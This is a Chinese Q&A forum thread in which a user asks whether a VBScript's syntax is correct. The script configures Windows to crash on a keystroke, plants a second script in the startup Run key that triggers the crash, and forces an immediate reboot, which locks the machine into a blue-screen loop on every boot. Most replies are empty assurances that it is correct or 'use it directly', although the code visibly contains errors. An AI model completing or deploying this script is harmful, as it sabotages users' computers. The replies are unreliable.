哪个大佬来检查一下我的VBS代码语法对不对

更新时间2018-12-27 13:47:08

Dim OperationRegistry

Set OperationRegistry=WScript.CreateObject("WScript.Shell")

Set fso=createobject("scripting.filesystemobject")

Default=OperationRegistry.RegRead("HKLM")

OperationRegistry.Regwrite"HKLMSYSTEMCurrentControlSetServicesi8042prtParametersCrashOnCtrlScroll",1,"REG_Dword"

OperationRegistry.Regwrite"HKLMSYSTEMCurrentControlSetServiceskbdhidParametersCrashOnCtrlScroll",1,"REG_Dword" '蓝屏规则注册表修改

Dim fso,wsh

dim txtfile

content="set ws=wscript.createobject("wscript.shell");ws.Sendkeys"^{SCROLLLOCK}{SCROLLLOCK}""

Set fso = CreateObject("scripting.filesystemobject")

Set wsh= CreateObject("Wscript.Shell") 

Set myfile=fso.CreateTextFile( "C:V.txt",,ture)

str=Split(content,";")

content=""

For Each i In str

myfile.WriteLine i

Next 

myfile.Close

wsh.Run "cmd.exe /c ren C:V.txt C:V.vbs"

set myfile=nothing

set wsh=nothing '蓝屏按键写入注册表

Dim AutoRunProgram

Set AutoRunProgram=WScript.CreateObject("WScript.Shell")

RegPath="HKLMSoftwareMicrosoftWindowsCurrentVersionRun"

Type_Name="REG_SZ"

Key_Name="V.vbs"

Key_Data="C:V.vbs"

AutoRunProgram.Write RegPath&Key_Name,Key_Data,Type_Name '开机就蓝屏

set ws=createobject("wscript.shell")

ws.run"cmd.exe /c shutdown -r -f -t 00" '立刻重启

这段VBS的代码语法上没有问题的，就是看能不能实现你想要的功能了，望采纳

可以请360电脑专家指导解决，又快又好。

对的！可以！直接用吧！

你这个难度系数太高了

这还真的专业人来教才行。

这个确实是要高手来解决的

用个翻译软件检查下

对的，总的来说是正确的

 

总体来说还是基本对的

亲：这个基本正确。

语法有点问题，把前置一下就可以了